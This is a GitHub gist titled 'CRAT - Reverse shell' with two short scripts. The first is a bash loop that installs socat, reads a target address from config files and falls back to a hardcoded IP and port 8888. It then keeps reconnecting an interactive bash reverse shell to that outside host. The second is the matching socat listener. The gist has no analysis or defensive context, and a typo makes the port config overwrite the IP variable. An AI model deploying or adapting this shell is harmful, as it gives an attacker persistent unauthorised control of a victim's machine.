Last active
December 21, 2021 16:52
-
-
Save AsP3X/b4874b1d9a0da48dc9885600a8939445 to your computer and use it in GitHub Desktop.
CRAT - Reverse shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/bin/bash | |
if [ ! -x "$(command -v socat)" ]; then sudo apt install -y socat; fi | |
while true | |
do | |
# check if the file ip-address.txt exists | |
if [ -f /etc/crat_config/rev_ip.txt ]; then rev_ip=$(cat /etc/crat_config/rev_ip.txt); fi | |
if [ -f /etc/crat_config/rev_port.txt ]; then rev_ip=$(cat /etc/crat_config/rev_port.txt); fi | |
# check if the variable rev_ip is empty if so set the default value to 172.104.240.146 | |
if [ -z "$rev_ip" ]; then rev_ip="172.104.240.146"; fi | |
if [ -z "$rev_port" ]; then rev_port="8888"; fi | |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$rev_ip:$rev_port | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
socat file:`tty`,raw,echo=0 tcp-listen:$1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment